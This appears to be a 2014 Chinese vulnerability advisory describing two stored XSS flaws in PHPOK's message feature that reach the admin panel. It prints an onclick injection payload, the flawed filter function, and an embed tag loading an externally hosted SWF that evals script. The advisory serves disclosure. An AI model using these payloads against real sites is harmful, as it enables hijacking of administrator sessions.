### 简要描述:
前台功能存在存储型 xss,可攻击后台,获取管理员权限。
### 详细说明:
第一处xss漏洞:
留言功能。
后台的输出点有一处输出如下:
```
<a class="icon delete end" onclick="content_del('1299','[输入]')" title="删除"></a>
```
可以看出,我们留言的标题直接输出在 onclick 事件中了,可简单构造 '+alert(1)+',管理员删除留言时触发:
[<img src="https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png" alt="屏幕快照 2014-08-25 上午10.42.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png)
此时输出:
```
<a class="icon delete end" onclick="content_del('1299','test'+alert(1)+'')" title="删除"></a>
```
[<img src="https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png" alt="屏幕快照 2014-08-25 上午10.42.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png)
第二处xss漏洞:
PHPOK 过滤 XSS 的函数如下:
```
function safe_html($info)
{
if(!$info)
{
return false;
}
$tmp = "/<([a-zA-Z0-9]+)(.*)(on[abort|beforeonload|blur|change|click|contextmenu|dblclick|drag|dragend|dragenter|dragleave|dragstart|drop|error|focus|keydown|keypress|keyup|load|message|mousedown|mousemove|mouseover|mouseout|mouseup|mousewheel|reset|resize|scroll|select|submit|unload]+)=(.+)>/isU";
$info = preg_replace($tmp,"<\\1\\2\\4>",$info);
//$info = preg_replace("/<([a-zA-Z0-9]+)(.*)([onabort|onbeforeonload|onblur|onchange|onclick|oncontextmenu|ondblclick|ondrag|ondragend|ondragenter|ondragleave|ondragover|ondragstart|ondrop|onerror|onfocus|onkeydown|onkeypress|onkeyup|onload|onmessage|onmousedown|onmousemove|onmouseover|onmouseout|onmouseup|onmousewheel|onreset|onresize|onscroll|onselect|onsubmit|onunload]+)\s*=\s*(.+)>/isU","<\\1\\3>",$info);
$tmp = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU","/<link(.*)>/isU","/<\/link>/isU");
$info = preg_replace($tmp,'',$info);
return $info;
}
```
可见只对标签和 on 事件属性做了一些过滤,可轻松绕过。比如,通过引入 flash 文件进行 xss:
```
<embed src="http://chuhades.sinaapp.com/xss.swf" quality="high" bgcolor="#ffffff" width="500" height="500" name="FlashVars" align="middle" allowscriptaccess="always" flashvars="action=eval&codz=alert(document.domain)" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">
```
前台:
[<img src="https://images.seebug.org/upload/201408/251050388f33e7b7da553b66bac8a388325b12e0.png" alt="屏幕快照 2014-08-25 上午10.50.20.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251050388f33e7b7da553b66bac8a388325b12e0.png)
后台:
[<img src="https://images.seebug.org/upload/201408/251050559cbbf2dbdd25f9acad5ad4d78b993c36.png" alt="屏幕快照 2014-08-25 上午10.50.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251050559cbbf2dbdd25f9acad5ad4d78b993c36.png)
### 漏洞证明:
第一处xss证明:
[<img src="https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png" alt="屏幕快照 2014-08-25 上午10.42.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png)
第二处xss证明:
前台:
[<img src="https://images.seebug.org/upload/201408/251050388f33e7b7da553b66bac8a388325b12e0.png" alt="屏幕快照 2014-08-25 上午10.50.20.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251050388f33e7b7da553b66bac8a388325b12e0.png)
后台:
[<img src="https://images.seebug.org/upload/201408/251050559cbbf2dbdd25f9acad5ad4d78b993c36.png" alt="屏幕快照 2014-08-25 上午10.50.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251050559cbbf2dbdd25f9acad5ad4d78b993c36.png)
暂无评论